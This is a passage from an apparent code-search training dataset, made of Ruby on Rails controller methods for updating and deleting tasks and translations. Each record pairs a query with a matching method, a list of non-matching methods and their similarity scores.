{ redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n @sprint = Sprint.find(@task.sprint_id)\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n flash[:notice] = 'Task was successfully updated.'\n format.html { redirect_to(@task) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @content_translation = ContentTranslation.find(params[:id])\n\n respond_to do |format|\n if @content_translation.update_attributes(params[:content_translation])\n format.html { redirect_to @content_translation, notice: 'Content translation was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @content_translation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n set_task\n respond_to do |format|\n if @task.update!(task_params)\n format.html\n format.json { respond_with_bip(@task) }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to action: \"index\" }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to(task_list_path(params[:task_list_id]), :notice => 'task was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @default_task = DefaultTask.find(params[:id])\n\n if @default_task.update(params[:default_task])\n head :no_content\n else\n render json: @default_task.errors, status: :unprocessable_entity\n end\n end", "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def update\n @task = Task.find(params[:id])\n params[:task] ? @task.update_attributes(params[:task]) : @task.update_attributes(:description=>params[:description], :isDone=>params[:isDone], :order=>params[:order] )\n #@task.save\n respond_with(@task)\nend", "def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to ([@project, @task]), notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: ([@project, @task]) }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = current_user.tasks.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to :action => :index, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n task = @task_list.tasks.find(params[:id])\n task.update_attributes(task_params)\n render nothing: true\n end", "def update\n @user_task = UserTask.find(params[:id])\n\n respond_to do |format|\n if @user_task.update_attributes(params[:user_task])\n flash[:notice] = 'UserTask was successfully updated.'\n format.html { redirect_to(@user_task) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n flash[:notice] = 'Task was successfully updated.'\n format.html { redirect_to(@task) }\n format.xml { head :ok }\n format.js { render :action => \"show\", :layout => false }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n format.js { render :text => \"ERROR\" + @task.errors.to_s }\n end\n end\n end", "def rename_task(list_id, task_id, text)\n path = \"lists/#{list_id}/tasks/#{task_id}\"\n params = {task: {text: text}}\n request(path, params, :put)\n \n # output full list again\n show_list(list_id)\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to project_task_path(params[:project_id],@task), notice: 'Task was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = current_user.tasks.find(params[:id])\n if params[:commit] == 'Switch Now'\n @task.switch_now\n params[:task] ||= {}\n params[:task][:stop] = @task.stop\n end\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to(@task, :notice => 'Task was successfully updated.') }\n format.xml { head :ok }\n else\n @tags = current_user.tags.all\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Aufgabe wurde erfolgreich aktualisiert.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n respond_to do |format|\n if @task.update_attributes(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to [@project, @task], notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task.update(task_params)\n end", "def update\n @task = Task.find(params[:id])\n @task.update(task_params)\n\n redirect_to tasks_path(@task)\n end", "def update\n if @task.update_attributes(params[:task])\n flash[:notice] = 'Task was successfully updated.'\n end\n respond_with(@task)\n end", "def update\n\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: t('task.successfully-updated') }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def UpdateLocale params = {}\n \n APICall(path: 'locales.json',method: 'PUT',payload: params.to_json)\n \n end", "def change_translation(id, new_value)\n # puts(\"#{id} : #{new_value}\")\n return true unless $REAL\n\n new_value_json = { 'target' => new_value }.to_json\n # NOTE: This popen invocation does NOT go through the shell,\n # so we do not use shell escapes.\n IO.popen(\n [\n 'curl', '-i',\n '-H', \"x-api-key: #{$API_KEY}\",\n '-H', 'content-type: application/json',\n '--request', 'PATCH',\n \"https://translation.io/api/v1/segments/#{id}.json\",\n '--data', new_value_json\n ]\n ) do |io|\n curl_output = io.read\n puts curl_output # Very useful for debugging!\n io.close\n $CHILD_STATUS.success? # Return whether or not we succeeded\n end\nend", "def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, success: t('.notice') }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @project = Project.find(params[:project_id])\n @task = @project.tasks.find(params[:id])\n\n respond_to do |format|\n if @task.update(params[:task])\n format.html { redirect_to project_url(@project, {:open_tab_index => '2'}), notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task eliminato correttamente' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @task.update(task_params)\n format.json { render :show, status: :ok, location: @task }\n else\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to project_tasks_path(@project), notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n get_tasks\n format.js\n format.html { redirect_to(@task, :notice => 'Task was successfully updated.') }\n format.xml { head :ok }\n else\n format.js\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @translation = Translation.find_by_permalink(params[:id])\n\n respond_to do |format|\n if @translation.update_attributes(params[:translation])\n format.html { redirect_to @translation, notice: 'Translation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @translation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_rest\n @answer_localized = AnswerLocalized.find(params[:id])\n\n respond_to do |format|\n if @answer_localized.update_attributes(params[:answer_localized])\n flash[:notice] = 'AnswerLocalized was successfully updated.'\n format.html { redirect_to(@answer_localized) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer_localized.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n $redis.publish('tasks.update', TaskSerializer.new(Task.last).to_json)\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to projects_path() }\n format.xml { head :ok }\n else\n @edit_mode = true\n @tasks = Task.find_all_by_project_id(@project.id)\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @task = current_user.tasks.find(params[:id])\n # Tasks may not change job, so no assigment like the Create action\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n flash[:notice] = 'Task was successfully updated.'\n format.html { redirect_to job_url(@task.job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task.errors.to_xml }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n @task.update(task_params)\n #@task.save\n redirect_to tasks_path(@task)\n end", "def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to tasks_path, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: tasks_path }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to tasks_path, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: tasks_path }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.59877926", "0.585553", "0.582672", "0.58142734", "0.580088", "0.5783669", "0.577683", "0.57681143", "0.5725884", "0.57240653", "0.5716707", "0.57111347", "0.57111347", "0.56954956", "0.5636602", "0.5621261", "0.5614721", "0.5599098", "0.5580927", "0.55802065", "0.55754143", "0.5560824", "0.5560684", "0.555801", "0.55561453", "0.5555702", "0.5540559", "0.5539789", "0.5502939", "0.5501994", "0.5501981", "0.54916966", "0.54822284", "0.5469839", "0.54664546", "0.54568976", "0.5455636", "0.54523486", "0.54415554", "0.54321736", "0.5421853", "0.54134357", "0.5404869", "0.5400631", "0.53905255", "0.53903306", "0.5383565", "0.5380461", "0.5377326", "0.53700674", "0.53700674", "0.53700674", "0.53700674", "0.53700674", "0.53700674", "0.53700674", "0.53700674", "0.5369135", "0.5369135", "0.5369135", "0.5368118", "0.5362295", "0.5358596", "0.5358568", "0.53577113", "0.5354272", "0.5352757", "0.5351132", "0.5349957", "0.53390163", "0.53189594", "0.5317811", "0.5313343", "0.53114545", "0.5307398", "0.5301771", "0.5297224", "0.5293036", "0.5292839", "0.528097", "0.5279633", "0.52768874", "0.5272758", "0.5269963", "0.52621967", "0.52619666", "0.526025", "0.52584946", "0.52554846", "0.525104", "0.5250197", "0.5248509", "0.52275884", "0.52168626", "0.5210552", "0.520696", "0.5205465", "0.5195136", "0.5188216", "0.5188216" ]
0.6670991
0
DELETE /tasks_translations/1 DELETE /tasks_translations/1.xml
def destroy @tasks_translation = TasksTranslation.find(params[:id]) @tasks_translation.destroy respond_to do |format| format.html { redirect_to(admin_tasks_translations_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete_translations\n end", "def delete_translations\n TranslationKey.find_by(name: description_translation_key).try(:destroy)\n end", "def destroy\n @task = Task.find(params[:id])\n @task.destroy\n\n Task.find_by_name(unescape_url(params[:id]))\n respond_to do |format|\n format.html { redirect_to(tasks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @events_translation = EventsTranslation.find(params[:id])\n @events_translation.destroy\n\n respond_to do |format|\n format.html { redirect_to(events_translations_url) }\n format.xml { head :ok }\n end\n end", "def delete_po\r\n\r\n FileUtils.rm_rf \"#{Rails.root}/po/#{params[:locale]}\"\r\n redirect_to locales_path\r\n end", "def destroy\n @translation = @locale.translations.find(params[:id])\n @translation.destroy\n redirect_to(locale_translations_url)\n end", "def destroy\n @task = Task.find(params[:id])\n @task.destroy\n \n respond_to do |format|\n format.html { redirect_to(tasks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @task = Task.find(params[:id])\n @task.destroy\n\n respond_to do |format|\n format.html { redirect_to(tasks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @task.destroy\n\n respond_to do |format|\n format.html { redirect_to(tasks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @content_translation = ContentTranslation.find(params[:id])\n @content_translation.destroy\n\n respond_to do |format|\n format.html { redirect_to content_translations_url }\n format.json { head :ok }\n end\n end", "def destroy\n @subtask = Subtask.find(params[:id])\n @subtask.destroy\n\n respond_to do |format|\n format.html { redirect_to(subtasks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @task = Task.find(params[:id])\n @task.destroy\n\n respond_to do |format|\n format.html { redirect_to(tasks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @task = Task.find(params[:id])\n @task.destroy\n\n respond_to do |format|\n format.html { redirect_to(tasks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @task = Task.find(params[:id])\n @task.destroy\n\n respond_to do |format|\n format.html { redirect_to(tasks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @task = Task.find(params[:id])\n @task.destroy\n\n respond_to do |format|\n format.html { redirect_to(tasks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @task = context.find(params[:id])\n @task.destroy\n\n respond_to do |format|\n format.html { redirect_to(tasks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\r\n\r\n translations = GetPomo::PoFile.parse(File.read(\"#{Rails.root}/po/#{params[:locale]}/#{APP_SID}.po\"))\r\n locales = lambda do |translations|\r\n translations.reject!{|t| t.msgid == \"\"}\r\n if params.has_key?(:fuzzy) and (params[:fuzzy] =~ /(t|1|true|on)/i)\r\n fuzzy = (params[:fuzzy] =~ /(t|1|true|on)/i) ? true : false\r\n if fuzzy\r\n translations.reject{|t| t.fuzzy?.nil?}\r\n else\r\n translations.select{|t| t.fuzzy?.nil?}\r\n end\r\n else\r\n translations\r\n end\r\n end.call(translations)\r\n\r\n # Find and delete translation\r\n\r\n index = translations.find_index(locales[params[:id].to_i])\r\n @locale = translations.delete_at(index)\r\n\r\n # Create delayed job to rewrite the PO file asynchronously\r\n\r\n Delayed::Job.enqueue WritePo.new(params[:locale], GetPomo::PoFile.to_text(translations))\r\n render :json => @locale\r\n end", "def destroy\n @task = Task.find(params[:id])\n @task.destroy\n\n respond_to do |format|\n format.html { redirect_to(project_tasks_url(@project)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @translation = Translation.find_by_permalink(params[:id])\n @translation.destroy\n\n respond_to do |format|\n format.html { redirect_to translations_url }\n format.json { head :no_content }\n end\n end", "def delete_task id\n request :delete, \"tasks/#{id}\"\n nil\n end", "def destroy\n @workflow_task = WorkflowTask.find(params[:id])\n @workflow_task.destroy\n\n respond_to do |format|\n format.html { redirect_to(workflow_tasks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n\t\t@admin_translatee = Admin::Translatee.find(params[:id])\n\t\t@admin_translatee.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to admin_translatees_url }\n\t\t\tformat.json { head :ok }\n\t\tend\n\tend", "def destroy\n delete_locale_file\n @o_single.destroy\n respond_to do |format|\n format.html { redirect_to admin_languages_url, notice: t(\"general.successfully_destroyed\") }\n format.json { head :no_content }\n end\n end", "def destroy\n @translations_versions_test.destroy\n respond_to do |format|\n format.html { redirect_to translations_versions_tests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @short_term_goal = ShortTermGoal.find(params[:id])\n @short_term_goal.tasks.each do |task|\n task.destroy\n end\n @short_term_goal.destroy\n\n respond_to do |format|\n format.html { redirect_to(short_term_goals_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @default_task = DefaultTask.find(params[:id])\n @default_task.destroy\n\n head :no_content\n end", "def destroy\n @eco_task = EcoTask.find(params[:id])\n @eco_task.destroy\n\n respond_to do |format|\n format.html { redirect_to(eco_tasks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @reports_translation = ReportsTranslation.find(params[:id])\n @reports_translation.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_reports_translations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @reports_translation = ReportsTranslation.find(params[:id])\n @reports_translation.destroy\n\n respond_to do |format|\n format.html { redirect_to(reports_translations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @task = Task.find(params[:id])\n @task.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end", "def destroy\n @rg_task = RgTask.find(params[:id])\n @rg_task.destroy\n\n respond_to do |format|\n format.html { redirect_to(rg_tasks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @task = Task.find(params[:id])\n @task.destroy\n\n respond_to do |format|\n format.html { redirect }\n format.xml { head :ok }\n end\n end", "def destroy\n @translation = Translation.find(params[:id])\n @translation.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :ok }\n end\n end", "def destroy\n @example_translation.destroy\n respond_to do |format|\n format.html { redirect_to example_translations_url, notice: 'Example translation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @task.destroy\n \n head :no_content\n end", "def destroy\r\n @service_translation.destroy\r\n respond_to do |format|\r\n format.html { redirect_to service_translations_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def DeleteLocale id\n \n APICall(path: \"locales/#{id}.json\",method: 'DELETE')\n \n end", "def destroy\n @task = current_user.tasks.find(params[:id])\n @task.destroy\n\n respond_to do |format|\n format.html { redirect_to(tasks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @yml_file = Cmtool::YmlFile.find(params[:id])\n @yml_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(cmtool.yml_files_url, notice: I18n.t('cmtool.action.destroy.successful', model: Cmtool::YmlFile.model_name.human)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @user_task = UserTask.find(params[:id])\n @user_task.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_tasks_url) }\n format.xml { head :ok }\n end\n end", "def delete_course_template(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/coursetemplates/#{org_unit_id}\"\n _delete(path)\n puts '[+] Course template data deleted successfully'.green\nend", "def delete()\n\n client.delete(\"/tasks/#{gid}\") && true\n end", "def destroy1\n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to(todos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @time_task = TimeTask.find(params[:id])\n @time_task.destroy\n\n respond_to do |format|\n format.html { redirect_to(time_tasks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @tx = Tx.find(params[:id])\n @tx.destroy\n\n respond_to do |format|\n format.html { redirect_to(txes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @translated_file.destroy\n respond_to do |format|\n format.html { redirect_to translated_files_url, notice: 'Translated file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_task\n task = MailTasks::Task.find( params[:id] )\n task.update_attribute( :deleted, true )\n flash[:notice] = \"Task \\\"#{task.name}\\\" has been deleted!\"\n redirect_to :action => \"index\"\n end", "def destroy\n @txt = Txt.find(params[:id])\n @txt.destroy\n\n respond_to do |format|\n format.html { redirect_to(txts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @task = Task.find(params[:id])\n @task.destroy\n\n respond_to do |format|\n format.html { redirect_to(task_list_url(params[:task_list_id])) }\n format.xml { head :ok }\n end\n end", "def destroy\n DB.execute('DELETE FROM tasks WHERE id LIKE ?', @id)\n end", "def destroy\n @task.destroy\n respond_to do |format|\n format.html { redirect_to tasks_url, notice: 'タスクを削除しました!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @task_row = TaskRow.find(params[:id])\n @task_row.destroy\n\n respond_to do |format|\n format.html { redirect_to(task_rows_url) }\n format.xml { head :ok }\n end\n end", "def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end", "def destroy\n @flat = Flat.find(params[:flat_id])\n @task = Task.find_by(document_id: @document.id)\n\n @document.destroy\n @task.destroy\n respond_to do |format|\n format.html { redirect_to flat_documents_path(@flat), notice: 'Document was successfully destroyed.' }\n end\n end", "def destroy\n @task = Task.find(params[:id])\n @task.destroy\n\n head :no_content\n end", "def destroy_rest\n @question_localized = QuestionLocalized.find(params[:id])\n @question_localized.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_localizeds_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n Tasks::Delete.call(id: params[:id])\n respond_to do |format|\n format.html { redirect_to tasks_url, notice: 'Task was successfully destroyed.' }\n end\n end", "def destroy\n @task.destroy\n head :no_content, status: :ok\n end", "def destroy\n @group_of_task = GroupOfTask.find(params[:id])\n @group_of_task.destroy\n\n respond_to do |format|\n format.html { redirect_to(group_of_tasks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @task = Node.find(params[:id])\n @task.destroy\n respond_to do |format|\n format.html { redirect_to tasks_path}\n format.json { head :no_content }\n end\n \n end", "def destroy\n @template_task = TemplateTask.find(params[:id])\n @template_task.destroy\n\n respond_to do |format|\n format.html { redirect_to template_tasks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @t1 = T1.find(params[:id])\n @t1.destroy\n\n respond_to do |format|\n format.html { redirect_to(t1s_url) }\n format.xml { head :ok }\n end\n end", "def destroy \n @rus_translation.destroy\n respond_to do |format|\n format.html { redirect_to rus_translations_url, notice: 'Rus translation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end", "def destroy\n @task_list.destroy\n\n head :no_content\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to(tasks_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @estacion = Estacion.find(params[:id])\n @estacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(estaciones_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @adjunto = Adjunto.find(params[:id])\n @adjunto.destroy\n\n respond_to do |format|\n format.html { redirect_to(adjuntos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @transaccion.destroy\n respond_to do |format|\n format.html { redirect_to transacciones_url, notice: 'La transacción se eliminó correctamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaccion = Transaccion.find(params[:id])\n @transaccion.destroy\n\n respond_to do |format|\n format.html { redirect_to transacciones_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @texte_accueil = TexteAccueil.find(params[:id])\n @texte_accueil.destroy\n\n respond_to do |format|\n format.html { redirect_to(texte_accueils_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @texto = Texto.find(params[:id])\n @texto.destroy\n\n respond_to do |format|\n format.html { redirect_to(textos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def destroy\n @admin_language = Language.find(params[:id])\n @admin_language.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_languages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @language = Language.find(params[:id])\n @language.destroy\n tflash('delete', :success, {:model=>@@model, :count=>1})\n respond_to do |format|\n format.html { redirect_to(languages_url) }\n format.xml { head :ok }\n end\n end", "def destroy_rest\n @answer_localized = AnswerLocalized.find(params[:id])\n @answer_localized.destroy\n\n respond_to do |format|\n format.html { redirect_to(answer_localizeds_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @task.destroy\n respond_to do |format|\n format.html { redirect_to test_path(@task.test_id), notice: 'Задание успешно удалено.' }\n format.json { head :no_content }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @definition_translation.destroy\n respond_to do |format|\n format.html { redirect_to definition_translations_url, notice: 'Definition translation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @lookup_scantask = LookupScantask.find(params[:id])\n @lookup_scantask.destroy\n\n respond_to do |format|\n format.html { redirect_to(lookup_scantasks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @task.destroy\n respond_to do |format|\n format.html { redirect_to :root }\n format.json { head :no_content }\n end\n end", "def destroy\n @tipomensaje = Tipomensaje.find(params[:id])\n @tipomensaje.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipomensajes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @conteudo = Conteudo.find(params[:id])\n @conteudo.destroy\nt=0\n respond_to do |format|\n format.html { redirect_to(exclusao_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @administration_email_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(administration_email_templates_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @sentence = Sentence.find(params[:id])\n @sentence.destroy\n\n respond_to do |format|\n format.html { redirect_to(sentences_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @visarequest = Visarequest.find(params[:id])\n @visarequest.destroy\n\n respond_to do |format|\n format.html { redirect_to(visarequests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ficha_tematica = FichaTematica.find(params[:id])\n @ficha_tematica.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_ficha_tematicas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @task_transition = TaskTransition.find(params[:id])\n @task_transition.destroy\n\n respond_to do |format|\n format.html { redirect_to task_transitions_url }\n format.json { head :ok }\n end\n end", "def destroy\n @task = @project.tasks.find(params[:id])\n @task.destroy\n\n respond_to do |format|\n format.html { redirect_to(project_tasks_path(@project)) }\n format.json { head :no_content }\n end\n end", "def destroy\n @transferencia_contas_detalhe = TransferenciaContasDetalhe.find(params[:id])\n @transferencia_contas_detalhe.destroy\n\n respond_to do |format|\n format.html { redirect_to(\"/transferencia_contas/#{@transferencia_contas_detalhe.transferencia_conta_id}\") }\n format.xml { head :ok }\n end\n end", "def destroy\n @task_changes = TaskChange.find(params[:id])\n @task_changes.destroy\n\n respond_to do |format|\n format.html { redirect_to tasks_url }\n format.json { head :no_content }\n end\n end", "def delete(name)\n r = request('DeleteTemplate', { :name => name })\n return r['status'] == ' ok ' \n end", "def destroy\n @conseq = Conseq.find(params[:id])\n @conseq.destroy\n\n respond_to do |format|\n format.html { redirect_to(conseqs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @task_list.tasks.find(params[:id]).destroy\n render nothing: true\n end", "def destroy\n @message_template = 